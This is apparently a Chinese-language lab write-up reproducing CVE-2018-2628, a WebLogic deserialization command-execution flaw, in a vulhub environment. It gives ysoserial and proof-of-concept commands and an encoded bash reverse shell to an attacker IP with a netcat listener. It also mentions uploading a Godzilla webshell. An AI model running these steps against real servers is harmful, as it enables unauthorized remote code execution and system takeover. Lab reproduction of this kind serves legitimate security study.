CVE-2018-2628 Weblogic WLS Core Components 反序列化命令执行漏洞
0X00-引言
今晚路灯很亮,好像上面少个人
0X01-环境搭建
靶机:CentOS Linux 7
攻击机:windows server 2016 && Kail
环境:vulhub
项目地址:https://github.com/vulhub/vulhub
搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)
0X02-漏洞介绍
Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。
影响版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
0X03-漏洞复现
01-使用ysoserial开启JRMP服务
下载ysoserial(0.0.6版的也可以):https://github.com/frohoff/ysoserial
java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener 端口号 CommonsCollections1 "执行的命令"
02-运行POC
POC下载:https://www.exploit-db.com/exploits/44553
python cve-2018-2628.py 192.168.234.128 7001 ./ysoserial-0.0.5-all.jar 192.168.234.135 1099 JRMPClient
开启的JRMP服务会接受到消息
到镜像里面查看是否创建flag.txt文件
docker exec -it 镜像ID /bin/sh #进入镜像
03-反弹shell
01-第一种方法
由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,需要进行一次编码。
shell命令编码:https://www.jackson-t.ca/runtime-exec-payloads.html
java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" #开启JRMP服务
nc -lvvp 1234 #监听
python cve-2018-2628.py 192.168.234.128 7001 ./ysoserial-0.0.5-all.jar 192.168.234.135 1099 JRMPClient #运行脚本
成功反弹
02-第二种方法
下载工具包(另一种方法):https://github.com/Lighird/CVE-2018-2628
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.234.135:8888 | xxd -p | tr -d $'\n' && echo
复制结果-替换weblogic_poc.py中的payload
运行脚本(python2)-成功反弹shell
0X04-工具检测
工具地址:https://github.com/Liqunkit/LiqunKit_
01-测试
02-上传文件getshell
上传的是哥斯拉生成的马
0X05-免责声明
仅供学习使用
0X06-参考
https://vulhub.org/#/environments/weblogic/CVE-2018-2628/
https://blog.csdn.net/xuandao_ahfengren/article/details/106597145